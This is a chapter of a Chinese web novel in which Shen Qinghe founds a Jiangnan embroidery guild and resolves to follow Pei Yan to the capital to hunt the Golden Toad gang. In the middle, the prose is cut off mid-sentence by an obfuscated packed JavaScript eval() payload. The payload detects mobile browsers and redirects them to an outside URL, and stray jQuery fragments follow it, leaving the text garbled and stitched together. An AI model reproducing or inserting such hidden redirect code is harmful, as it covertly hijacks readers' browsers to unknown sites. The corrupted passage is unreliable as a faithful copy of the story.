随着马、吴二人的事尘埃落定,江南绣坊界却如遭风霜,一夜之间风云骤变。
随后,大大小小的绣坊纷纷向沈青禾递来拜帖,更有心急之人直接登门拜访。
沈青禾给了所有人一个统一的答复:请众人三日后来染月阁一聚。
这些时日,染月阁已重归平静。
沈青禾打算在三日后正式推出双面异色绣,并趁此机会处理后续事宜。
当天回家,她便与父母商议接下来的安排。
沈青禾提出想成立一个“绣业行会”,邀江南所有有声誉的绣坊共同加入,彼此监督制衡,以免今日之悲剧重演。
她本以为父母会犹豫,不料他们竟一口答应,还表示愿意重出江湖,继续为绣业尽力。沈青禾顿时感到心中温暖,一切似乎都在朝着更好的方向发展。
三日之期一到,沈青禾、裴砚与褚齐三人,准时出现在了染月阁。
众人聚于三楼。
此刻染月阁大门仍闭,外头已挤满了闻讯而来的客人,皆是因听说今日将有新品问世,早已迫不及待等候于此。几名小厮在门前维持秩序,殊不知,阁内的气氛同样凝重。
“诸位,今日裴坊主与世子在此,权作见证。”沈青禾望着下面神情忧虑的众人,缓缓开口:“今日请大家来,实则是想与各位谈一桩合作。”
“此前胡人来江南寻求合作,原是与玉梭坊接洽,但如今玉梭坊与千丝楼皆已不存,这桩订单便落在了我手中。然而青禾自知资历尚浅,远不及在座各位前辈。因此,这笔生意,我想与诸位前辈一同完成。”沈青禾笑着朝众人说道,语气诚恳。
“沈坊主,我们此行倒不全为分订单而来。”一位年长的绣坊主人起身说道:“如今江南绣业遭此重创,您曾是锦云轩的少东家,大家是盼望有人能出来主持大局,带领江南绣业重回正途啊。”
“正是,眼下这么多有名的绣坊接连出事,我们实在不知该如何是好……”有人亦是如此说道。
“既然锦云轩的东家尚在,不如请他们重回行业……”有人亦如此提议,想让沈父沈母重新出山。
众人你一言我一语,诉说着心中的不安。
沈青禾静静听完,这才温声道:“各位的忧虑,青禾明白。今日相聚,主要便是商议此事。”
“我提议由我们各家自发成立一个‘江南绣业行会’。既是行会,自当有些规矩。目前我初步拟了三条,先与诸位说一说。”
一番话说完,底下响起低低的议论声。
“我明白各位的顾虑,但此事我已与裴坊主、世子商议过,他们亦觉得可行。家父家母也给了许多建议。诸位不妨先听我说完,再决定是否参与。”沈青禾安抚众人,继续说道:“近日之事闹得沸沸扬扬,大家想必都已清楚,我所成立的行会,自是与这些息息相关。”
沈青禾环顾着众人,议论声渐渐停止,皆静静看着沈青禾。
“那你说说都是什么。”先前那老者开口。
“好。”沈青禾点头,缓缓开口:“这第一条规矩,便是关于绣娘的生存与尊严。所有绣品,皆出自绣娘一针一线、呕心沥血。因此,行会首务,便是平等保护每一位绣娘,绝不容许虐待、欺压之事再度发生。这是我们身为雇主必要且必须做到的,要明白没有他们,便没有我们。”
“那是自然,即便你不说,我们也想着那些受过迫害的绣娘,日后一家收留几个的。”老者点点头。
众人纷纷应和。
“接下来这第二条,便是关乎绣坊的生存秩序。早年有三大绣坊,后来演变为两大绣坊。正因为有这些头衔在,他们常常垄断资源,甚至有些订单对他们来说收效甚微,即便他们接下不用,却也是一些小绣坊的救命稻草。故而导致一些绣坊为求生存,不得不重金依附,本就艰难的生意更雪上加霜。此类恶意竞争,必须在行会内杜绝。诸位都是江南绣业中有名有号的人物,当初马、吴垄断市场之时,想必也尝过其中滋味,当明白我此举的用意。”
此话一出,众人在台下议论纷纷,但话语间似乎有赞同之意。
等众人的议论声停止,沈青禾这才再度开口:“第三条呢,就是自由与诚信。即便加入行会,各家仍是自由的,并无强制之举。我们都是生意人,也理应明白,经商之道,重在诚信,凭的是良心。上要对得起祖师传承,下要对得起百姓信任,这才是长久立身之本。”
“规矩大致如此。愿意者,可与我共同创立此会;不愿亦无妨,全凭自愿。”沈青禾说完一番话,便沉默着看着台下的众人。
台下众人沉默片刻,陆续有人表态加入。渐渐地,近乎半数的人都愿参与其中。
“那么,‘江南绣业行会’今日便算正式成立。若有尚在犹豫者,日后亦可随时加入。行会暂由受害绣娘代表担任初期理事,日后大家可共同推举人选。”沈青禾看着褚齐,褚齐点点头,她这才宣布成立。
“自然,成立行会亦有实在好处。其一,便是方才所说那笔胡人大单,将依各家所长分工协作;其二,世子殿下亲自坐镇,见证行会成立,日后亦无人敢随意刁难。殿下还投资了一笔款项,专项用于救助受害绣娘,算是行会最大的出资方。此外,那笔胡人订单中我名下所得,也将全数捐出,一并用于绣娘扶助。”
“如此甚好,往后总算不必再受欺压了。”一位中年绣坊主人轻声叹道。
“我们成立行会,绝非为欺压他人,而是为了互相监督、彼此扶持。最要紧的,是让每一位绣娘得到庇护,每一间绣坊都有向上的机会。”沈青禾含笑望向众人。
台下,褚齐与裴砚亦静静望着她,眼中皆有笑意。
众人散去后,沈青禾便将双面异色绣正式推出。
新品一经面世,即刻风靡江南,备受追捧。
后几日,坊间事务渐渐步入正轨,一切日趋向好。
“江南绣业行会”的名声也传扬开去,似乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970238|184825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所有事都在朝光明处前行。
只是,有一个人却渐渐淡出了她的视线。
这天沈青禾好不容易将裴砚约了出来。
“裴砚。”她将裴砚带回沈家,走进那间他曾作为“阿延”住过的屋子,直接开门见山:“你……是不是要走了?”
“嗯。”裴砚手指轻抚杯沿,垂眸望着杯中茶水,神情难辨。
“你有必须要完成的事,我不会阻拦你的。”沈青禾顿了顿,裴砚并未抬头,她只得继续说:“但是,请你带上我,我要和你一同解决这件事。”
沈青禾清晰的看见裴砚握着水杯的手紧了又紧。
“我知道,马、吴二人并非真正的罪魁祸首,他们不过是他人的爪牙。”沈青禾注视着不敢抬眼的裴砚,轻声而坚定:“是和上次我看见的那个图案有关,对吗?”
裴砚终于抬眼看向她,眼神中有诧异也有肯定的意味。
果然如此,见裴砚这样一幅神情,沈青禾了然的点点头:“那之后我反复思量,觉得那图案很像一只金蟾。”
“不错。”裴砚颔首:“他们是‘金蟾帮’。但我目前也只知有这个帮派存在,不知其巢穴所在,更不知主谋何人。”
“所以……他们在京城,是吗?”沈青禾点破关键。
“是。我查到的线索皆指向京城,其余地方的势力最终也流向那里。可再往下,便一切成谜。可想而知,对方地位与势力远超我们想象。”裴砚语气有些消沉。
“可你依然会回去,对不对?”沈青禾目光澄澈。
“是。灭族之仇,不共戴天。无论付出何等代价,我定要将他们揪出。”裴砚语气决绝。
“我信你。而且——我也会帮你。”沈青禾郑重道。
“可你的事已了,不必再蹚这浑水……”裴砚蹙眉。
“什么该蹚,什么不该蹚呢?你不是也说了,他们只是爪牙。那意味着我的事,也并未真正结束,不是吗?”沈青禾反问。
“但……”
“嘘。”裴砚还想说什么,沈青禾却将指尖轻抵在他唇前,虽并未真正触碰到,却足以让他止住话音。她收回手,声音轻柔:“你知道我为何约你来这里吗?”
裴砚怔然摇头。
“从前阿延住在这里时,他从不多问,也从不多言。可只要我需要,他总会出现在我身旁,帮我度过一个又一个难关。”沈青禾望着他,眸中火烛摇曳,倒映出许多景象,似如今又似往日:“还有在京城的裴砚、在千丝楼险地的裴砚、在世子府、山崖边、火海里的裴砚……他们每一个人,对我而言都无比重要。”
裴砚眼睫微颤,似有波澜泛起。
“所以,别再推开我了。”沈青禾望入他眼底,神情认真而炽热,一如当年执意加入云霓坊时那般,带着一颗赤诚初心:“如今江南事毕,我已能无所牵挂地随你前往京城,去完成你的心愿——
因为这不仅是你的仇,也是我该偿的债。”